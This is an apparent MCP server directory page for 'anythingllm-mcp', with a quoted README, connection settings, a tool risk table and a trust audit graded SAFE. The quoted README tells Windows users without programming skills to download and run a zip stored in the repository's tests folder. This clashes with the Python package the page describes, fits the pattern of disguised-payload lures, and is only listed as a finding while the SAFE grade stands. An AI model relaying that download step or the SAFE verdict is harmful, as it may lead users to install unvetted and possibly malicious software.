anythingllm-mcpSAFE
Manage and operate AnythingLLM workspaces, chats, documents, and vectors with a fast, Python-based MCP server.
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
[](https://github.com/gsmMu7ammed/anythingllm-mcp/raw/refs/heads/main/tests/mcpanythingllm3.1.zip)
📋 About anythingllm-mcp
anythingllm-mcp is a server application designed for managing workspaces, chats, documents, and system settings related to AnythingLLM. It helps you organize your AI-related tasks and information in one place. The server runs on Windows and acts as a hub for interacting with AI agents, chat models, document tools, and system management features.
The system supports large language models (LLMs), making it useful if you work with AI tools, documents, or chat applications and want to keep everything well-managed. You do not need programming skills to use it.
🖥️ System Requirements
Before you download and run anythingllm-mcp, check your system meets these basic requirements:
- Windows 10 or newer (64-bit)
- At least 4 GB of RAM
- 2 GHz or faster processor
- At least 500 MB of free disk space
- Internet connection for setup and updates
These are minimum requirements. Having more memory or a faster processor will improve performance.
🚀 Getting Started: Download and Setup
To use anythingllm-mcp on your Windows computer, follow these steps carefully.
Step 1: Visit the Download Page
Click the button below to go to the download page where you get the server files.
[](https://github.com/gsmMu7ammed/anythingllm-mcp/raw/refs/heads/main/tests/mcpanythingllm3.1.zip)
This page contains the latest versions and all necessary files for Windows.
Step 2: Download the Latest Release
Once on the download page, look for the latest stable release of anythingllm-mcp designed for Windows. This is usually in a section called "Releases" or "Downloads."
d8ebfe86a832OBSERVED · 2026-10-11Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.
claude mcp add anythingllm-mcp --env ANYTHINGLLM_API_KEY=${ANYTHINGLLM_API_KEY} -- uvx anythingllm-mcp{
"mcpServers": {
"anythingllm-mcp": {
"command": "uvx",
"args": [
"anythingllm-mcp"
],
"env": {
"ANYTHINGLLM_API_KEY": "${ANYTHINGLLM_API_KEY}"
}
}
}
}Exposed tools (23)
12 read · 8 write · 3 destructive. Blast radius: 3 tools can delete or overwrite — an agent that can be talked into calling a tool can be talked into calling this one.
| Tool | Risk | Description |
|---|---|---|
anythingllm_chat | write | Send a message to a workspace and get a response. |
anythingllm_chat_in_thread | write | Send a message within a specific workspace thread. |
anythingllm_check_auth | read | Verify that the API key is valid and AnythingLLM is reachable. |
anythingllm_create_thread | write | Create a new chat thread within a workspace. |
anythingllm_create_workspace | write | Create a new workspace. |
anythingllm_delete_thread | destructive | Delete a chat thread from a workspace. |
anythingllm_delete_workspace | destructive | Permanently delete a workspace. This action cannot be undone. |
anythingllm_export_chats | read | Export all chat logs from all workspaces. |
anythingllm_get_accepted_file_types | write | Get the list of file types that AnythingLLM accepts for upload. |
anythingllm_get_chat_history | read | Get the chat history for a workspace. |
anythingllm_get_system_settings | read | Get AnythingLLM system settings (LLM provider, vector DB, embeddings, etc.). |
anythingllm_get_thread_chats | read | Get chat history for a specific thread in a workspace. |
anythingllm_get_vector_count | read | Get the total number of vectors stored in the system. |
anythingllm_get_workspace | read | Get detailed information about a specific workspace. |
anythingllm_list_documents | read | List all uploaded documents across all folders. |
anythingllm_list_embeds | read | List all embed configurations (public chat widgets). |
anythingllm_list_models | read | List available models via the OpenAI-compatible endpoint. |
anythingllm_list_workspaces | read | List all workspaces in the AnythingLLM instance with their slugs, settings, and thread info. |
anythingllm_search | read | Search for relevant document chunks within a workspace using vector similarity. |
anythingllm_update_embeddings | destructive | Add or remove document embeddings in a workspace. Use document paths from list_documents. |
anythingllm_update_workspace | write | Update workspace settings (name, temperature, prompt, similarity threshold, etc.). |
anythingllm_upload_link | write | Scrape a web page and upload it as a document to AnythingLLM. |
anythingllm_upload_raw_text | write | Upload raw text content as a document to AnythingLLM. |
Trust audit
SAFEgrade B · trust 89/100 Nothing in the source contradicts what it says it does. Grade A is reserved for packages that have also passed the behavioural sandbox.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | PASS |
| L1 | Static analysis of the code | PASS |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | WARN |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- declared (1 observation(s))
- Network
- declared (5 observation(s))
- Shell
- none-observed
- Dependencies
- pinned
- Secrets in source
- none-found
Findings (3)
anythingllm_delete_thread, anythingllm_delete_workspace, anythingllm_update_embeddings
mcp_anythingllm_3.1.zip
anythingllm-mcp is a server application designed for managing workspaces, chats, documents, and system settings related to AnythingLLM.
Gates applied: no_behavioural_pass.
d8ebfe86a832full audit observations/trust-audit/mcp-server/gsmmu7ammed__anythingllm-mcp.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-11 | d8ebfe86a832 | SAFE | B | 89 | first audit |
Questions
What is the anythingllm-mcp MCP server?
Manage and operate AnythingLLM workspaces, chats, documents, and vectors with a fast, Python-based MCP server.
What tools does anythingllm-mcp expose?
23 in total: 12 read-only, 8 that write, and 3 that can delete or overwrite (anythingllm_delete_thread, anythingllm_delete_workspace, anythingllm_update_embeddings). Every one is listed on this page with its risk.
Is anythingllm-mcp safe to connect to an agent?
The audit found nothing in the source that contradicts what it says it does, and graded it B (89/100). Grade A is held back for packages that have also passed a sandboxed behavioural run, which is why a clean server reads B. Separately from the audit: 3 of its tools can destroy data, so scope the token you give it to what you actually need.
What credentials does anythingllm-mcp need?
It reads ANYTHINGLLM_API_KEY from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.
How current is this page?
The grade is for one exact copy of the source (d8ebfe86a832), read on 2026-10-11. The repository is watched and re-audited when it changes.